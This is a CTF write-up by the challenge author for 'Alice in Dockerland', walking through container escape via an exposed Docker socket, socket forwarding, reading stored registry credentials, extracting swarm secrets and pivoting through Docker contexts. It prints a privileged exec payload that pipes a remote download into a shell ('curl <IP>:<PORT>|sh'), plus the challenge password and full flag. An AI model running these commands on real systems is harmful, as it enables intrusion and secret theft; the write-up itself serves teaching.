Introduction

This year again, I was happy to be part of the organization committee for the GreHack conference and I created some challenges for the CTF. Organization was tricky this year, given that we had grown and sold almost 3x as many tickets as in previous years. Thanks to all the participants, organizers and sponsors, the event was once again complety insane đŸ”„ 💚

Challenge

  • Name : Alice in Dockerland
  • Category : Misc
  • Difficulty : Hard
  • Solves : 9
  • Points : 436
  • Author : Nishacid

Hi Alice! Do you know Docker? No, I mean, do you really know Docker? Ok, let’s explore the dockerland to find out a bit more! I’ve dispersed 5 secrets inside, so get them all to prove you know Docker!

You can get into dockerland here :

 ssh [email protected] -p 10122
 # d5S8tZpYM6kF32jueu 

Step 1 - Container Escape 1

Obviously, the challenge is docker escape, or docker concerns. The first step after connecting to the VM is to identify whether we’re in a container or not. With the .dockerenv file at the root of the file system, and very few processes running, we can confirm that we are in a container.

We can check out some famous docker escape methods, and we can see that the docker socket is exposed, which means we can interact with the docker daemon, list, create containers and so on.

However, there’s no internet in the container, so we can’t simply install docker and use it. To interact with the socket, we need to use curl with the unix:// protocol. To test this, we can list the containers with the following command:

There are two containers running, we can extract their name with the following command :

curl -sk --unix-sock /var/run/docker.sock http://localhost/containers/json |  jq -r '.[] | .Names[0][1:]'
alice
whiterabbit

We know that we are in the alice container, maybe we can try to pivot on the second container whiterabbit? To do this, we will create an exec on the whiterabbit container with a reverse shell and start it.

# create the exec
curl -ski -X POST --unix-socket /var/run/docker.sock -H "Content-Type: application/json" --data-binary '{"AttachStdin": true,"AttachStdout": true,"AttachStderr": true,"Cmd": ["sh", "-c", "curl <IP>:<PORT>|sh"],"DetachKeys": "ctrl-p,ctrl-q","Privileged": true,"Tty": true}' "http://localhost/containers/ca859bb83a46f00133dd636fecaba3d84e07d3d95b2ceb40d34d6818d449f9fc/exec" # get the container id

# start the exec 
curl -ski -o -X POST --unix-socket /var/run/docker.sock -H 'Content-Type: application/json' --data-binary '{"Detach": false,"Tty": false}' "http://localhost/exec/43e022cfa4fa1989b642a0393d454a3a9dbca6413981aaa00ba9ea05fcafa9ed/start" # get the exec id

And here we go, we have a shell on the whiterabbit container. We can read the first part of the flag in /root/one.txt.

  • First : GH{Wooh_

Step 2 - Container Escape 2

Okay we now have a shell on the whiterabbit container, but we are still not on the host machine. Now we are back to square one, we need to find a way to escape the container. Enumerate various docker escape methods, gives nothing, but this time, we observe that we got internet in the container, and with internet and with the socket, we can install docker and escape to the host machine.

Yes, “with internet and with the socket”, but this time we don’t have the socket exposed… Oh wait, the containers are in the same network, can we use the socket from the other container ? Yes, we just need to forward the exposed the socket with socat from alice (1) to the other container (2).

And voilĂ  ! We can now execute docker commands on the second container, and simply create an alpine container with chroot to get a shell on the host machine.

  • Second : it_w4S_s0

Step 3 - Docker saved credentials

While designed the challenge, I wanted people to understand the various risks involved of improper use of docker, and not necessarily just docker escape. That’s why the last 3 steps won’t be about docker escape, but simply about how an attacker can pivot once he’s already root on your machine.

While you are regulary using docker, you have multiples reasons to login to the docker hub, for example to push your images, to pull many images from the docker hub and bypass rate limits, etc. But, did you know where docker saves your credentials ? It can’t be in a simply file in base64 right ? righttt ?

Yes it is.

  • Third : _l0nnNG_t0

Step 4 - Docker secret

The goal now it to find new pivot points or get new sensitive information such as secrets. With a bit of documentation, we learn that docker has a secret management system, reserved to swarm nodes. And of course, after checking, we are in a swarm mode and of course there are some secrets 😏 But sadly, we can’t read them directly.

Yes it’s the step of the challenge when you will read some documentation

Theses secrets are not directly readable, but while we create services, they will be readable by the service himself. That garantees that no one can read them except the service who will use them. One important thing to also know is at each deployment of a container or service, Docker creates a temporary filesystem mounted under /run/secrets/<secret_name> with the secret values, cool right ?

So okay, let’s create a service with one of the secrets and simply read it ? With the following command, we can create a service attached with the secret, and during the deployement, read the logs of the service and get the secret.

docker service create --name read_secret --secret verySecret alpine:3.19 cat /run/secrets/verySecret
docker service logs read_secret
  • Fourth : _r3trIv3

Step 5 - Docker context

We exploited an exposed socket, socket forwarding, exposed credentials, secrets, but what’s left that could make us pivot to a new attack surface?

Mmmh, did you ever heard about, context ? Yes docker can switch between different contexts, and before you say that it could be a great attack vector and a good way to get the last flag, I’d just like to say that it’s also super useful! For example, do you manage several servers, each with its own containers (at random, a ctf and challenges)? do you want to be able to manage them at a quick look without having to connect to ssh every time? I suggest you take a look at this wonderful (and dangerous) invention. Well, not between us, we both know that we’ve all given ourselves the docker group to avoid typing sudo every time, so let’s just talk practicalities.

Returning to our challenge, let’s see if by any chance we can switch contexts? and thus manage containers on another machine.

Of course we can switch, and now we are on a new machine, and we can execute docker commands on it. You have it ? Yes, a simple chroot alpine and we are root on another machine 😎

  • Fifth : _4ll_P4rts}

  • Flag : GH{Wooh_it_w4S_s0_l0nnNG_t0_r3trIv3_4ll_P4rts

Resources